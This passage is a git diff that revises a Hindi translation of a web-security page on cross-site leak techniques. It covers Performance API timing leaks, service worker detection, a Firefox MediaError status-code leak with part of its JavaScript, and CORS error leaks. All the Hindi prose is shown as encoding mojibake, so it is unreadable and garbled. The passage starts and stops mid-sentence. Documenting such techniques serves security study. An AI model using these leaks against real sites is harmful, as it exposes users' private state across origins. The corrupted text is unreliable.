рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдереАрдВ, рдпрд╣ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдХрд┐ SA рдореЗрдВ, XSS рдСрдбрд┐рдЯрд░ рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдкреГрд╖реНрда рдкреНрд░рджрд░реНрд╢рди API рдореЗрдВ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рд╣реЛрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИред ### X-Frame Leak @@ -340,7 +340,7 @@ xs-search/connection-pool-example.md - **Summary:** X-Frame-Options рд╣реЗрдбрд░ рд╡рд╛рд▓рд╛ рд╕рдВрд╕рд╛рдзрди рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) -рдпрджрд┐ рдХрд┐рд╕реА рдкреГрд╖реНрда рдХреЛ **iframe** рдореЗрдВ **рд░реЗрдВрдбрд░** рдХрд░рдиреЗ рдХреА **рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ**, рддреЛ рдпрд╣ **рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐** рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ **`X-Frame-Options`** рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред\ +рдпрджрд┐ рдХрд┐рд╕реА рдкреГрд╖реНрда рдХреЛ **iframe** рдореЗрдВ **рд░реЗрдВрдбрд░** рдХрд░рдиреЗ рдХреА **рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ**, рддреЛ рдпрд╣ **рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐** рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **`X-Frame-Options`** рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред\ рдпрджрд┐ рдЖрдк **embed** **tag** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╡рд╣реА рд╣реЛрддрд╛ рд╣реИред ### Download Detection @@ -351,7 +351,7 @@ xs-search/connection-pool-example.md - **Summary:** рдбрд╛рдЙрдирд▓реЛрдб рдкреНрд░рджрд░реНрд╢рди API рдореЗрдВ рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) -рдЬреИрд╕реЗ, рд╡рд░реНрдгрд┐рдд XS-Leak, рдПрдХ **рд╕рдВрд╕рд╛рдзрди рдЬреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ** рдХреНрдпреЛрдВрдХрд┐ ContentDisposition рд╣реЗрдбрд░ рдХреЗ рдХрд╛рд░рдг, рднреА **рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐** рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рддрдХрдиреАрдХ рд╕рднреА рдкреНрд░рдореБрдЦ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдХрд╛рдо рдХрд░рддреА рд╣реИред +XS-Leak рдХреЗ рд╡рд░реНрдгрд┐рдд рддрд░реАрдХреЗ рдХреЗ рд╕рдорд╛рди, рдПрдХ **рд╕рдВрд╕рд╛рдзрди рдЬреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ** рдХреНрдпреЛрдВрдХрд┐ ContentDisposition рд╣реЗрдбрд░ рдХреЗ рдХрд╛рд░рдг, рднреА **рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐** рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рддрдХрдиреАрдХ рд╕рднреА рдкреНрд░рдореБрдЦ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдХрд╛рдо рдХрд░рддреА рд╣реИред ### Redirect Start Leak @@ -361,7 +361,7 @@ xs-search/connection-pool-example.md - **Summary:** рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЗ рдкреНрд░рд╛рд░рдВрдн рд╕рдордп рдХреЛ рд▓реАрдХ рдХрд░рддреА рд╣реИред - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak) -рд╣рдордиреЗ рдПрдХ XS-Leak рдЙрджрд╛рд╣рд░рдг рдкрд╛рдпрд╛ рдЬреЛ рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд▓реЙрдЧ рдХрд░рддреЗ рд╣реИрдВред рдорд╛рдирдХ рдПрдХ рдЙрдкрд╕рдореБрдЪреНрдЪрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рд╢реВрдиреНрдп рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рд▓рд╛рдБрдХрд┐, **SA** рдореЗрдВ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ **рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, **Performance API** рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдХреЗ рдФрд░ **redirectStart рд╕рдордп рдбреЗрдЯрд╛** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗред +рд╣рдордиреЗ рдПрдХ XS-Leak рдЙрджрд╛рд╣рд░рдг рдкрд╛рдпрд╛ рдЬреЛ рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд▓реЙрдЧ рдХрд░рддреЗ рд╣реИрдВред рдорд╛рдирдХ рдПрдХ рдЙрдкрд╕рдореБрдЪреНрдЪрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рд╢реВрдиреНрдп рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рд▓рд╛рдБрдХрд┐, **SA** рдореЗрдВ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, **Performance API** рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдХреЗ рдФрд░ **redirectStart рд╕рдордп рдбреЗрдЯрд╛** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗред ### Duration Redirect Leak @@ -371,7 +371,7 @@ xs-search/connection-pool-example.md - **Summary:** рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реЛрдиреЗ рдкрд░ рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреА рдЕрд╡рдзрд┐ рдирдХрд╛рд░рд╛рддреНрдордХ рд╣реЛрддреА рд╣реИред - **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak) -GC рдореЗрдВ, **рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП **рдЕрд╡рдзрд┐** **рдирдХрд╛рд░рд╛рддреНрдордХ** рд╣реЛрддреА рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЗрд╕реЗ **рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рд╕реЗ **рдЕрд▓рдЧ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +GC рдореЗрдВ, **рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП **рдЕрд╡рдзрд┐** **рдирдХрд╛рд░рд╛рддреНрдордХ** рд╣реЛрддреА рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЗрд╕реЗ **рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдЕрдиреБрд░реЛрдзреЛрдВ рд╕реЗ рдЕрд▓рдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ### CORP Leak @@ -381,20 +381,20 @@ GC рдореЗрдВ, **рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдж - **Summary:** CORP рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak) -рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, **nextHopProtocol рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐** рдХреЛ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред GC рдореЗрдВ, рдЬрдм **CORP рд╣реЗрдбрд░** рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ nextHopProtocol **рдЦрд╛рд▓реА** рд╣реЛрдЧрд╛ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ SA CORP-рд╕рдХреНрд╖рдо рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рдПрдЧрд╛ред +рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, **nextHopProtocol рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐** рдХреЛ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред GC рдореЗрдВ, рдЬрдм **CORP рд╣реЗрдбрд░** рд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИ, рддреЛ nextHopProtocol **рдЦрд╛рд▓реА** рд╣реЛрдЧрд╛ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ SA CORP-рд╕рдХреНрд╖рдо рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рдПрдЧрд╛ред ### Service Worker - **Inclusion Methods**: Frames - **Detectable Difference**: API Usage - **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/) -- **Summary:** рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореВрд▓ рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдкрдВрдЬреАрдХреГрдд рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЗрд╕рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред +- **Summary:** рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореВрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдкрдВрдЬреАрдХреГрдд рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЗрд╕рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред - **Code Example**: рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдЗрд╡реЗрдВрдЯ-рдЪрд╛рд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдВрджрд░реНрдн рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдореВрд▓ рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред рд╡реЗ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдХреЗ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдореЗрдВ рдЪрд▓рддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ, рд╕рдВрд╢реЛрдзрд┐рдд рдФрд░ **рдХреИрд╢** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдСрдлрд╝рд▓рд╛рдЗрди рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред\ -рдпрджрд┐ рдПрдХ **рд╕рдВрд╕рд╛рдзрди рдХреИрд╢** рджреНрд╡рд╛рд░рд╛ **рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рдВрд╕рд╛рдзрди **рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреИрд╢** рд╕реЗ **рд▓реЛрдб** рд╣реЛрдЧрд╛ред\ +рдпрджрд┐ **рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛** рджреНрд╡рд╛рд░рд╛ **рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛** рд╕рдВрд╕рд╛рдзрди **iframe** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рдВрд╕рд╛рдзрди **рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреИрд╢** рд╕реЗ **рд▓реЛрдб** рд╣реЛрдЧрд╛ред\ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рд╕рдВрд╕рд╛рдзрди **рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛** рдХреИрд╢ рд╕реЗ **рд▓реЛрдб** рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, **Performance API** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ -рдпрд╣ рдПрдХ рд╕рдордп рд╣рдорд▓реЗ рдХреЗ рд╕рд╛рде рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдкреЗрдкрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ)ред +рдпрд╣ рдПрдХ рдЯрд╛рдЗрдорд┐рдВрдЧ рд╣рдорд▓реЗ рдХреЗ рд╕рд╛рде рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдкреЗрдкрд░ рджреЗрдЦреЗрдВ)ред ### Cache @@ -421,7 +421,7 @@ GC рдореЗрдВ, **рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдж - **Inclusion Methods**: HTML Elements (Video, Audio) - **Detectable Difference**: Status Code - **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265) -- **Summary:** рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдореЗрдВ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдз рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЛ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ рд▓реАрдХ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред +- **Summary:** Firefox рдореЗрдВ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдз рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЛ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ рд▓реАрдХ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред - **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output) ```javascript // Code saved here in case it dissapear from the link @@ -470,180 +470,180 @@ err.message + audioElement.onerror = errHandler } ``` -`MediaError` рдЗрдВрдЯрд░рдлреЗрд╕ рдХрд╛ рд╕рдВрджреЗрд╢ рдкреНрд░реЙрдкрд░реНрдЯреА рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рди рдХрд░рддреА рд╣реИ рдЬреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЛрдб рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рд╕рдВрджреЗрд╢ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред +The `MediaError` рдЗрдВрдЯрд░рдлреЗрд╕ рдХрд╛ message рдкреНрд░реЙрдкрд░реНрдЯреА рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЛрдб рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ message рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред -### CORS рддреНрд░реБрдЯрд┐ +### CORS Error -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: Fetch API -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╣реЗрдбрд░ -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3) -- **рд╕рд╛рд░рд╛рдВрд╢:** рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдкреВрд░рд╛ URL рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) +- **Inclusion Methods**: Fetch API +- **Detectable Difference**: Header +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3) +- **Summary:** Security Assertions (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдкреВрд░рд╛ URL рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред +- **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) -рдпрд╣ рддрдХрдиреАрдХ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рд╛рдЗрдЯ рдХреЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЧрдВрддрд╡реНрдп рдирд┐рдХрд╛рд▓рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИ, рдпрд╣ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдХрд┐ Webkit-рдЖрдзрд╛рд░рд┐рдд рдмреНрд░рд╛рдЙрдЬрд╝рд░ CORS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕рдВрднрд╛рд▓рддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЬрдм рдПрдХ **CORS-рд╕рдХреНрд╖рдо рдЕрдиреБрд░реЛрдз** рдХреЛ рдПрдХ рд▓рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдЯ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реНрдерд┐рддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдЬрд╛рд░реА рдХрд░рддреА рд╣реИ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрд╛рдж рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджреЗрддрд╛ рд╣реИ, рддреЛ **рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рдХреНрд╖реНрдп рдХрд╛ рдкреВрд░рд╛ URL** рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рднреАрддрд░ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ рди рдХреЗрд╡рд▓ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рддрдереНрдп рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИ рдмрд▓реНрдХрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рдЕрдВрдд рдмрд┐рдВрджреБ рдФрд░ рдХрд┐рд╕реА рднреА **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░** рдХреЛ рднреА рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИ рдЬреЛ рдЗрд╕рдореЗрдВ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрд╣ рддрдХрдиреАрдХ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ 